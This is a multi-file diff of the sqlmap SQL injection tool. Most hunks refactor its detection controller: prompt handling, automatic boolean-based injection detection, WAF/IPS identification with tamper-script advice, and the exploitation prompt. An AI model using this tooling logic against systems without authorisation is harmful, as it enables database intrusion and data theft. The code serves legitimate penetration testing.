-        servicepackVersion = re.findall("</td><td>[7\.0|2000|2005|2008|2008 R2]*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I | re.M)
+        servicepackVersion = re.findall("</td><td>(7\.0|2000|2005|2008|2008 R2)*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I)

        for servicePack, version in servicepackVersion:
            if servicePack.startswith(" "):
@@ -1,3 +1,3 @@
-Files in this folder can be used to compile auxiliary program that can
-be used for running command prompt commands skipping standard "cmd /c" way. 
-They are licensed under the terms of the GNU Lesser General Public License.
+runcmd.exe is an auxiliary program that can be used for running command prompt
+commands skipping standard "cmd /c" way. It is licensed under the terms of the
+GNU Lesser General Public License.
@@ -0,0 +1,7 @@
+#!/bin/bash
+
+# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
+# See the file 'doc/COPYING' for copying permission
+
+# Runs py2diatra on all python files (prerequisite: pip install pydiatra)
+find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py2diatra '{}' \; | grep -v bare-except
@@ -1,5 +1,10 @@
 #!/bin/bash

+if [ ! -f ~/.pypirc ]; then
+    echo "File ~/.pypirc is missing"
+    exit 1
+fi
+
 declare -x SCRIPTPATH="${0}"
 SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py"
 VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3)
@@ -132,7 +137,7 @@ You can find a sample run `here <https://asciinema.org/a/46601>`__. To
 get an overview of sqlmap capabilities, list of supported features and
 description of all options and switches, along with examples, you are
 advised to consult the `user's
-manual <https://github.com/sqlmapproject/sqlmap/wiki>`__.
+manual <https://github.com/sqlmapproject/sqlmap/wiki/Usage>`__.

 Links
 -----
@@ -147,12 +152,6 @@ Links
 -  User's manual: https://github.com/sqlmapproject/sqlmap/wiki
 -  Frequently Asked Questions (FAQ):
   https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-  Mailing list subscription:
-   https://lists.sourceforge.net/lists/listinfo/sqlmap-users
-  Mailing list RSS feed:
-   http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
-  Mailing list archive:
-   http://news.gmane.org/gmane.comp.security.sqlmap
 -  Twitter: [@sqlmap](https://twitter.com/sqlmap)
 -  Demos: http://www.youtube.com/user/inquisb/videos
 -  Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -40,7 +40,7 @@ def prepare_email(content):
    msg = MIMEMultipart()
    msg["Subject"] = SUBJECT
    msg["From"] = FROM
-    msg["To"] = TO if isinstance(TO, basestring) else ",".join(TO)
+    msg["To"] = TO if isinstance(TO, basestring) else ','.join(TO)

    msg.attach(MIMEText(content))

@@ -83,7 +83,7 @@ def main():
    if stderr:
        failure_email("Execution of regression test failed with error:\n\n%s" % stderr)

-    failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout, re.M)
+    failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout)

    for failed_test in failed_tests:
        title = failed_test[0]
@@ -16,8 +16,8 @@ from lib.core.enums import CONTENT_TYPE
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapUnsupportedDBMSException
 from lib.core.settings import SUPPORTED_DBMS
-from lib.techniques.brute.use import columnExists
-from lib.techniques.brute.use import tableExists
+from lib.utils.brute import columnExists
+from lib.utils.brute import tableExists

 def action():
    """
@@ -7,10 +7,12 @@ See the file 'doc/COPYING' for copying permission

 import copy
 import httplib
+import os
 import random
 import re
 import socket
 import subprocess
+import tempfile
 import time

 from extra.beep.beep import beep
@@ -20,6 +22,7 @@ from lib.core.common import extractRegexResult
 from lib.core.common import extractTextTagContent
 from lib.core.common import findDynamicContent
 from lib.core.common import Format
+from lib.core.common import getFilteredPageContent
 from lib.core.common import getLastRequestHTTPError
 from lib.core.common import getPublicTypeMembers
 from lib.core.common import getSafeExString
@@ -29,6 +32,7 @@ from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import intersect
 from lib.core.common import listToStrValue
+from lib.core.common import openFile
 from lib.core.common import parseFilePaths
 from lib.core.common import popValue
 from lib.core.common import pushValue
@@ -54,6 +58,7 @@ from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.enums import NOTE
 from lib.core.enums import NULLCONNECTION
 from lib.core.enums import PAYLOAD
@@ -62,7 +67,11 @@ from lib.core.enums import REDIRECTION
 from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSilentQuitException
+from lib.core.exception import SqlmapSkipTargetException
 from lib.core.exception import SqlmapUserQuitException
+from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
+from lib.core.settings import CHECK_INTERNET_ADDRESS
+from lib.core.settings import CHECK_INTERNET_VALUE
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
 from lib.core.settings import FI_ERROR_REGEX
@@ -124,7 +133,7 @@ def checkSqlInjection(place, parameter, value):
                # then attempt to identify with a simple DBMS specific boolean-based
                # test what the DBMS may be
                if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
-                    if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None:
+                    if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
                        kb.heuristicDbms = heuristicCheckDbms(injection)

                # If the DBMS has already been fingerprinted (via DBMS-specific
@@ -135,7 +144,7 @@ def checkSqlInjection(place, parameter, value):
                   SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                    msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
                    msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
-                    kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y').upper() == 'Y' else []
+                    kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []

            # If the DBMS has been fingerprinted (via DBMS-specific error
            # message, via simple heuristic check or via DBMS-specific
@@ -150,7 +159,7 @@ def checkSqlInjection(place, parameter, value):
                msg += " and " if conf.level < 5 and conf.risk < 3 else ""
                msg += "risk (%d)" % conf.risk if conf.risk < 3 else ""
                msg += " values? [Y/n]" if conf.level < 5 and conf.risk < 3 else " value? [Y/n]"
-                kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y').upper() == 'Y' else []
+                kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []

            title = test.title
            kb.testType = stype = test.stype
@@ -158,6 +167,13 @@ def checkSqlInjection(place, parameter, value):
            unionExtended = False
            trueCode, falseCode = None, None

+            if conf.httpCollector is not None:
+                conf.httpCollector.setExtendedArguments({
+                    "_title": title,
+                    "_place": place,
+                    "_parameter": parameter,
+                })
+
            if stype == PAYLOAD.TECHNIQUE.UNION:
                configUnion(test.request.char)

@@ -243,7 +259,13 @@ def checkSqlInjection(place, parameter, value):
                # provided DBMS
                if conf.dbms is not None and not intersect(payloadDbms, conf.dbms, True):
                    debugMsg = "skipping test '%s' because " % title
-                    debugMsg += "the provided DBMS is %s" % conf.dbms
+                    debugMsg += "it is different than provided"
+                    logger.debug(debugMsg)
+                    continue
+
+                if kb.dbmsFilter is not None and not intersect(payloadDbms, kb.dbmsFilter, True):
+                    debugMsg = "skipping test '%s' because " % title
+                    debugMsg += "it is different than provided"
                    logger.debug(debugMsg)
                    continue

@@ -478,6 +500,26 @@ def checkSqlInjection(place, parameter, value):

                                    injectable = True

+                                elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+                                    originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n"))
+                                    trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
+                                    falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
+
+                                    if originalSet == trueSet != falseSet:
+                                        candidates = trueSet - falseSet
+
+                                        if candidates:
+                                            candidates = sorted(candidates, key=lambda _: len(_))
+                                            for candidate in candidates:
+                                                if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
+                                                    conf.string = candidate
+                                                    injectable = True
+
+                                                    infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'"))
+                                                    logger.info(infoMsg)
+
+                                                    break
+
                            if injectable:
                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                    if all((falseCode, trueCode)) and falseCode != trueCode:
@@ -528,14 +570,11 @@ def checkSqlInjection(place, parameter, value):
                            # Perform the test's request and grep the response
                            # body for the test's <grep> regular expression
                            try:
-                                page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)
+                                page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
-                                        or extractRegexResult(check, listToStrValue( \
-                                        [headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()] \
-                                        if headers else None), re.DOTALL | re.IGNORECASE) \
-                                        or extractRegexResult(check, threadData.lastRedirectMsg[1] \
-                                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
-                                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
+                                        or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) \
+                                        or extractRegexResult(check, listToStrValue([headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()] if headers else None), re.DOTALL | re.IGNORECASE) \
+                                        or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                                if output:
                                    result = output == "1"
@@ -585,7 +624,9 @@ def checkSqlInjection(place, parameter, value):

                            configUnion(test.request.char, test.request.columns)

-                            if not Backend.getIdentifiedDbms():
+                            if len(kb.dbmsFilter or []) == 1:
+                                Backend.forceDbms(kb.dbmsFilter[0])
+                            elif not Backend.getIdentifiedDbms():
                                if kb.heuristicDbms is None:
                                    warnMsg = "using unescaped version of the test "
                                    warnMsg += "because of zero knowledge of the "
@@ -609,7 +650,8 @@ def checkSqlInjection(place, parameter, value):
                                        msg += "extended UNION tests if there is not "
                                        msg += "at least one other (potential) "
                                        msg += "technique found. Do you want to skip? [Y/n] "
-                                        kb.futileUnion = readInput(msg, default="Y").strip().upper() == 'N'
+
+                                        kb.futileUnion = not readInput(msg, default='Y', boolean=True)
                                    if kb.futileUnion is False:
                                        continue

@@ -715,26 +757,31 @@ def checkSqlInjection(place, parameter, value):
            warnMsg = "user aborted during detection phase"
            logger.warn(warnMsg)

-            msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
-            choice = readInput(msg, default="S", checkBatch=False)
+            if conf.multipleTargets:
+                msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
+                choice = readInput(msg, default='T', checkBatch=False).upper()
+            else:
+                msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
+                choice = readInput(msg, default='S', checkBatch=False).upper()

-            if choice[0] in ("s", "S"):
-                pass
-            elif choice[0] in ("c", "C"):
+            if choice == 'X':
+                if conf.multipleTargets:
+                    raise SqlmapSkipTargetException
+            elif choice == 'C':
                choice = None
                while not ((choice or "").isdigit() and 0 <= int(choice) <= 6):
                    if choice:
                        logger.warn("invalid value")
                    msg = "enter new verbosity level: [0-6] "
-                    choice = readInput(msg, default=str(conf.verbose), checkBatch=False).strip()
+                    choice = readInput(msg, default=str(conf.verbose), checkBatch=False)
                conf.verbose = int(choice)
                setVerbosity()
                tests.insert(0, test)
-            elif choice[0] in ("n", "N"):
+            elif choice == 'N':
                return None
-            elif choice[0] in ("e", "E"):
+            elif choice == 'E':
                kb.endDetection = True
-            elif choice[0] in ("q", "Q"):
+            elif choice == 'Q':
                raise SqlmapUserQuitException

        finally:
@@ -797,6 +844,8 @@ def heuristicCheckDbms(injection):
        infoMsg += "could be '%s' " % retVal
        logger.info(infoMsg)

+        kb.heuristicExtendedDbms = retVal
+
    return retVal

 def checkFalsePositives(injection):
@@ -939,7 +988,7 @@ def heuristicCheckSqlInjection(place, parameter):

    payload = "%s%s%s" % (prefix, randStr, suffix)
    payload = agent.payload(place, parameter, newValue=payload)
-    page, _ = Request.queryPage(payload, place, content=True, raise404=False)
+    page, _, _ = Request.queryPage(payload, place, content=True, raise404=False)

    kb.heuristicPage = page
    kb.heuristicMode = False
@@ -977,7 +1026,7 @@ def heuristicCheckSqlInjection(place, parameter):

        if kb.ignoreCasted is None:
            message = "do you want to skip those kind of cases (and save scanning time)? %s " % ("[Y/n]" if conf.multipleTargets else "[y/N]")
-            kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N').upper() != 'N'
+            kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True)

    elif result:
        infoMsg += "be injectable"
@@ -995,7 +1044,7 @@ def heuristicCheckSqlInjection(place, parameter):
    value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
    payload = "%s%s%s" % (prefix, "'%s" % value, suffix)
    payload = agent.payload(place, parameter, newValue=payload)
-    page, _ = Request.queryPage(payload, place, content=True, raise404=False)
+    page, _, _ = Request.queryPage(payload, place, content=True, raise404=False)

    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place

@@ -1104,7 +1153,7 @@ def checkDynamicContent(firstPage, secondPage):
            warnMsg += ". sqlmap is going to retry the request"
            logger.critical(warnMsg)

-            secondPage, _ = Request.queryPage(content=True)
+            secondPage, _, _ = Request.queryPage(content=True)
            findDynamicContent(firstPage, secondPage)

 def checkStability():
@@ -1127,7 +1176,7 @@ def checkStability():
    delay = max(0, min(1, delay))
    time.sleep(delay)

-    secondPage, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False)
+    secondPage, _, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False)

    if kb.redirectChoice:
        return None
@@ -1155,19 +1204,19 @@ def checkStability():
        logger.warn(warnMsg)

        message = "how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] "
-        test = readInput(message, default="C")
+        choice = readInput(message, default='C').upper()

-        if test and test[0] in ("q", "Q"):
+        if choice == 'Q':
            raise SqlmapUserQuitException

-        elif test and test[0] in ("s", "S"):
+        elif choice == 'S':
            showStaticWords(firstPage, secondPage)

            message = "please enter value for parameter 'string': "
-            test = readInput(message)
+            string = readInput(message)

-            if test:
-                conf.string = test
+            if string:
+                conf.string = string

                if kb.nullConnection:
                    debugMsg = "turning off NULL connection "
@@ -1179,12 +1228,12 @@ def checkStability():
                errMsg = "Empty value supplied"
                raise SqlmapNoneDataException(errMsg)

-        elif test and test[0] in ("r", "R"):
+        elif choice == 'R':
            message = "please enter value for parameter 'regex': "
-            test = readInput(message)
+            regex = readInput(message)

-            if test:
-                conf.regex = test
+            if regex:
+                conf.regex = regex

                if kb.nullConnection:
                    debugMsg = "turning off NULL connection "
@@ -1209,7 +1258,7 @@ def checkString():
    infoMsg += "target URL page content"
    logger.info(infoMsg)

-    page, headers = Request.queryPage(content=True)
+    page, headers, _ = Request.queryPage(content=True)
    rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)

    if conf.string not in rawResponse:
@@ -1228,7 +1277,7 @@ def checkRegexp():
    infoMsg += "the target URL page content"
    logger.info(infoMsg)

-    page, headers = Request.queryPage(content=True)
+    page, headers, _ = Request.queryPage(content=True)
    rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)

    if not re.search(conf.regexp, rawResponse, re.I | re.M):
@@ -1256,6 +1305,9 @@ def checkWaf():
            logger.critical(warnMsg)
        return _

+    if not kb.originalPage:
+        return None
+
    infoMsg = "checking if the target is protected by "
    infoMsg += "some kind of WAF/IPS/IDS"
    logger.info(infoMsg)
@@ -1285,9 +1337,8 @@ def checkWaf():
        if not conf.identifyWaf:
            message = "do you want sqlmap to try to detect backend "
            message += "WAF/IPS/IDS? [y/N] "
-            output = readInput(message, default="N")

-            if output and output[0] in ("Y", "y"):
+            if readInput(message, default='N', boolean=True):
                conf.identifyWaf = True

        if conf.timeout == defaults.timeout:
@@ -1348,15 +1399,27 @@ def identifyWaf():
            retVal.append(product)

    if retVal:
+        if kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
+            handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE)
+            os.close(handle)
+            with openFile(filename, "w+b") as f:
+                f.write(kb.wafSpecificResponse)
+
+            message = "WAF/IPS/IDS specific response can be found in '%s'. " % filename
+            message += "If you know the details on used protection please "
+            message += "report it along with specific response "
+            message += "to '[email protected]'"
+            logger.warn(message)
+
        message = "are you sure that you want to "
        message += "continue with further target testing? [y/N] "
-        output = readInput(message, default="N")
+        choice = readInput(message, default='N', boolean=True)

        if not conf.tamper:
            warnMsg = "please consider usage of tamper scripts (option '--tamper')"
            singleTimeWarnMessage(warnMsg)

-        if output and output[0] not in ("Y", "y"):
+        if not choice:
            raise SqlmapUserQuitException
    else:
        warnMsg = "WAF/IPS/IDS product hasn't been identified"
@@ -1436,7 +1499,7 @@ def checkConnection(suppressOutput=False):

    try:
        kb.originalPageTime = time.time()
-        page, headers = Request.queryPage(content=True, noteResponseTime=False)
+        page, headers, _ = Request.queryPage(content=True, noteResponseTime=False)
        kb.originalPage = kb.pageTemplate = page

        kb.errorIsNone = False
@@ -1449,9 +1512,10 @@ def checkConnection(suppressOutput=False):
            warnMsg += "which could interfere with the results of the tests"
            logger.warn(warnMsg)
        elif wasLastResponseHTTPError():
-            warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError()
-            warnMsg += "which could interfere with the results of the tests"
-            logger.warn(warnMsg)
+            if getLastRequestHTTPError() != conf.ignoreCode:
+                warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError()
+                warnMsg += "which could interfere with the results of the tests"
+                logger.warn(warnMsg)
        else:
            kb.errorIsNone = True

@@ -1472,7 +1536,7 @@ def checkConnection(suppressOutput=False):
                return False

            msg = "it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n] "
-            if readInput(msg, default="Y") not in ("n", "N"):
+            if readInput(msg, default='Y', boolean=True):
                raise SqlmapSilentQuitException
            else:
                kb.ignoreNotFound = True
@@ -1481,6 +1545,10 @@ def checkConnection(suppressOutput=False):

    return True

+def checkInternet():
+    content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0]
+    return CHECK_INTERNET_VALUE in (content or "")
+
 def setVerbosity():  # Cross-linked function
    raise NotImplementedError

@@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission

 import os
 import re
+import time

 from lib.controller.action import action
 from lib.controller.checks import checkSqlInjection
@@ -15,6 +16,7 @@ from lib.controller.checks import checkStability
 from lib.controller.checks import checkString
 from lib.controller.checks import checkRegexp
 from lib.controller.checks import checkConnection
+from lib.controller.checks import checkInternet
 from lib.controller.checks import checkNullConnection
 from lib.controller.checks import checkWaf
 from lib.controller.checks import heuristicCheckSqlInjection
@@ -52,6 +54,7 @@ from lib.core.exception import SqlmapBaseException
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.exception import SqlmapSilentQuitException
+from lib.core.exception import SqlmapSkipTargetException
 from lib.core.exception import SqlmapValueException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.settings import ASP_NET_CONTROL_REGEX
@@ -65,7 +68,6 @@ from lib.core.settings import REFERER_ALIASES
 from lib.core.settings import USER_AGENT_ALIASES
 from lib.core.target import initTargetEnv
 from lib.core.target import setupTargetEnv
-from thirdparty.pagerank.pagerank import get_pagerank

 def _selectInjection():
    """
@@ -117,11 +119,11 @@ def _selectInjection():
                message += "\n"

        message += "[q] Quit"
-        select = readInput(message, default="0")
+        choice = readInput(message, default='0').upper()

-        if select.isdigit() and int(select) < len(kb.injections) and int(select) >= 0:
-            index = int(select)
-        elif select[0] in ("Q", "q"):
+        if choice.isdigit() and int(choice) < len(kb.injections) and int(choice) >= 0:
+            index = int(choice)
+        elif choice == 'Q':
            raise SqlmapUserQuitException
        else:
            errMsg = "invalid choice"
@@ -141,7 +143,7 @@ def _formatInjection(inj):
        if inj.place == PLACE.CUSTOM_HEADER:
            payload = payload.split(',', 1)[1]
        if stype == PAYLOAD.TECHNIQUE.UNION:
-            count = re.sub(r"(?i)(\(.+\))|(\blimit[^A-Za-z]+)", "", sdata.payload).count(',') + 1
+            count = re.sub(r"(?i)(\(.+\))|(\blimit[^a-z]+)", "", sdata.payload).count(',') + 1
            title = re.sub(r"\d+ to \d+", str(count), title)
            vector = agent.forgeUnionQuery("[QUERY]", vector[0], vector[1], vector[2], None, None, vector[5], vector[6])
            if count == 1:
@@ -162,7 +164,8 @@ def _showInjections():
    else:
        header = "sqlmap resumed the following injection point(s) from stored session"

-    if hasattr(conf, "api"):
+    if conf.api:
+        conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET)
        conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
    else:
        data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n")
@@ -183,8 +186,8 @@ def _randomFillBlankFields(value):

    if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, value):
        message = "do you want to fill blank fields with random values? [Y/n] "
-        test = readInput(message, default="Y")
-        if not test or test[0] in ("y", "Y"):
+
+        if readInput(message, default='Y', boolean=True):
            for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
                item = match.group("result")
                if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
@@ -276,6 +279,21 @@ def start():

    for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
        try:
+
+            if conf.checkInternet:
+                infoMsg = "[INFO] checking for Internet connection"
+                logger.info(infoMsg)
+
+                if not checkInternet():
+                    warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
+                    dataToStdout(warnMsg)
+
+                    while not checkInternet():
+                        dataToStdout('.')
+                        time.sleep(5)
+
+                    dataToStdout("\n")
+
            conf.url = targetUrl
            conf.method = targetMethod.upper() if targetMethod else targetMethod
            conf.data = targetData
@@ -305,7 +323,9 @@ def start():
                    message = "SQL injection vulnerability has already been detected "
                    message += "against '%s'. Do you want to skip " % conf.hostname
                    message += "further tests involving it? [Y/n]"
-                    kb.skipVulnHost = readInput(message, default="Y").upper() != 'N'
+
+                    kb.skipVulnHost = readInput(message, default='Y', boolean=True)
+
                testSqlInj = not kb.skipVulnHost

            if not testSqlInj:
@@ -319,7 +339,7 @@ def start():
                if conf.forms and conf.method:
                    message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl)
                else:
-                    message = "URL %d:\n%s %s%s" % (hostCount, HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "")
+                    message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET, targetUrl)

                if conf.cookie:
                    message += "\nCookie: %s" % conf.cookie
@@ -332,9 +352,13 @@ def start():
                        continue

                    message += "\ndo you want to test this form? [Y/n/q] "
-                    test = readInput(message, default="Y")
+                    choice = readInput(message, default='Y').upper()

-                    if not test or test[0] in ("y", "Y"):
+                    if choice == 'N':
+                        continue
+                    elif choice == 'Q':
+                        break
+                    else:
                        if conf.method != HTTPMETHOD.GET:
                            message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
                            conf.data = readInput(message, default=conf.data)
@@ -352,21 +376,14 @@ def start():

                        parseTargetUrl()

-                    elif test[0] in ("n", "N"):
-                        continue
-                    elif test[0] in ("q", "Q"):
-                        break
-
                else:
                    message += "\ndo you want to test this URL? [Y/n/q]"
-                    test = readInput(message, default="Y")
+                    choice = readInput(message, default='Y').upper()

-                    if not test or test[0] in ("y", "Y"):
-                        pass
-                    elif test[0] in ("n", "N"):
+                    if choice == 'N':
                        dataToStdout(os.linesep)
                        continue
-                    elif test[0] in ("q", "Q"):
+                    elif choice == 'Q':
                        break

                    infoMsg = "testing URL '%s'" % targetUrl
@@ -543,9 +560,8 @@ def start():

                                        msg = "%s parameter '%s' " % (injection.place, injection.parameter)
                                        msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
-                                        test = readInput(msg, default="N")

-                                        if test[0] not in ("y", "Y"):
+                                        if not readInput(msg, default='N', boolean=True):
                                            proceed = False
                                            paramKey = (conf.hostname, conf.path, None, None)
                                            kb.testedParams.add(paramKey)
@@ -629,9 +645,7 @@ def start():
            if kb.injection.place is not None and kb.injection.parameter is not None:
                if conf.multipleTargets:
                    message = "do you want to exploit this SQL injection? [Y/n] "
-                    exploit = readInput(message, default="Y")
-
-                    condition = not exploit or exploit[0] in ("y", "Y")
+                    condition = readInput(message, default='Y', boolean=True)
                else:
                    condition = True

@@ -644,17 +658,18 @@ def start():
                logger.warn(warnMsg)

                message = "do you want to skip to the next target in list? [Y/n/q]"
-                test = readInput(message, default="Y")
+                choice = readInput(message, default='Y').upper()

-                if not test or test[0] in ("y", "Y"):
-                    pass
-                elif test[0] in ("n", "N"):
+                if choice == 'N':
                    return False
-                elif test[0] in ("q", "Q"):
+                elif choice == 'Q':
                    raise SqlmapUserQuitException
            else:
                raise

+        except SqlmapSkipTargetException:
+            pass
+
        except SqlmapUserQuitException:
            raise

@@ -8,7 +8,6 @@ See the file 'doc/COPYING' for copying permission
 from lib.core.common import Backend
 from lib.core.data import conf
 from lib.core.data import kb
-from lib.core.data import logger
 from lib.core.dicts import DBMS_DICT
 from lib.core.enums import DBMS
 from lib.core.settings import MSSQL_ALIASES
@@ -71,16 +70,21 @@ def setHandler():
                  (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
            ]

-    _ = max(_ if (Backend.getIdentifiedDbms() or "").lower() in _[1] else None for _ in items)
+    _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else None for _ in items)
    if _:
        items.remove(_)
        items.insert(0, _)

    for dbms, aliases, Handler, Connector in items:
-        if conf.dbms and conf.dbms.lower() != dbms and conf.dbms.lower() not in aliases:
-            debugMsg = "skipping test for %s" % dbms
-            logger.debug(debugMsg)
-            continue
+        if conf.forceDbms:
+            if conf.forceDbms.lower() not in aliases:
+                continue
+            else:
+                kb.dbms = conf.dbms = conf.forceDbms = dbms
+
+        if kb.dbmsFilter:
+            if dbms not in kb.dbmsFilter:
+                continue

        handler = Handler()
        conf.dbmsConnector = Connector()
@@ -102,11 +106,13 @@ def setHandler():
            else:
                conf.dbmsConnector.connect()

-        if handler.checkDbms():
+        if conf.forceDbms == dbms or handler.checkDbms():
            if kb.resolutionDbms:
                conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
            else:
                conf.dbmsHandler = handler
+
+            conf.dbmsHandler._dbms = dbms
            break
        else:
            conf.dbmsConnector = None
@@ -36,7 +36,6 @@ from lib.core.enums import POST_HINT
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
 from lib.core.settings import BOUNDED_INJECTION_MARKER
-from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import GENERIC_SQL_COMMENT
@@ -63,7 +62,7 @@ class Agent(object):

        if Backend.getIdentifiedDbms() in (DBMS.ORACLE,):  # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE)
            _, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query)
-            for field in fieldsToCastStr.split(","):
+            for field in fieldsToCastStr.split(','):
                query = query.replace(field, self.nullAndCastField(field))

        if kb.tamperFunctions:
@@ -101,7 +100,7 @@ class Agent(object):
        if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
            paramString = origValue
            if place == PLACE.URI:
-                origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
+                origValue = origValue.split(kb.customInjectionMark)[0]
            else:
